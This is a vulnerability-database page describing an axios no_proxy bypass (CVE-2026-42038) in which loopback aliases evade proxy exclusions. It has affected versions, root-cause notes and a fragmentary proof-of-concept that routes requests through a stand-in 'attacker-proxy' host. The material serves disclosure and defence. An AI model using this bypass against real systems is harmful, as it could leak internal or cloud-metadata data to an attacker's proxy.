6.8

CVSS Score

3.1

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

CVE-2026-42038

CVE-2026-42038: Axios: no_proxy bypass via IP alias allows SSRF

The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result:

no_proxy=localhost does NOT block 127.0.0.1 or [::1]
no_proxy=127.0.0.1 does NOT block localhost or [::1]

POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888';

    process.env.http_proxy = 'http://127.0.0.1:8888';

    console.log('=== Test 1: localhost (should bypass proxy) ===');
    try {
      await axios.get('http://localhost:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    console.log('');
    console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
    try {
      await axios.get('http://127.0.0.1:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    fakeProxy.close();
    internalServer.close();
  });
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```
 





<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />




Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.

Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

(GitHub Advisory)

Miggo Vulnerability Database

→

CVE-2026-42038

CVE-2026-42038:

6.8

CVSS Score

3.1

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
axios	npm	>= 1.0.0, < 1.15.1	1.15.1
axios	npm	<= 0.31.0	0.31.1

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability, identified as GHSA-m7pr-hjqh-92cm, is a Server-Side Request Forgery (SSRF) bypass in the axios library's handling of the no_proxy environment variable. The root cause of this vulnerability is the shouldBypassProxy function's failure to correctly identify and normalize loopback address aliases. Initially, the function performed a direct string comparison, which meant that an entry like no_proxy=localhost would not prevent requests from being sent to 127.0.0.1 or [::1] through a configured proxy.

An attacker could exploit this flaw by crafting a request to a loopback IP address instead of the hostname, bypassing the intended proxy restrictions and potentially accessing sensitive internal services. The vulnerability was addressed through a series of patches.

The first patch, in commit 163da7226fd2cd21f0f238f99b2f75a51bf9b2a3, introduced a helper function, isLoopback, to check against a static set of loopback addresses (localhost, 127.0.0.1, ::1) and modified shouldBypassProxy to use this check. However, this fix was found to be incomplete.

A subsequent commit, e033f243a08e3514c03e510f76658da1e0fac3bd, provided a more comprehensive solution by significantly enhancing the loopback detection logic. It introduced more robust helper functions, isIPv4Loopback and isIPv6Loopback, to correctly identify a wider range of loopback IP address formats, including the entire 127.0.0.0/8 range and various IPv6 representations. The isLoopback function was updated to use these new, more thorough checks.

Therefore, the primary vulnerable function is shouldBypassProxy, as it contained the flawed logic. The helper function isLoopback is also identified as a key part of the vulnerability and its fix, as its initial implementation was insufficient. During exploitation, a runtime profile would show calls to shouldBypassProxy when axios processes an outgoing request in an environment with a proxy configured.

Vulnerable functions

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.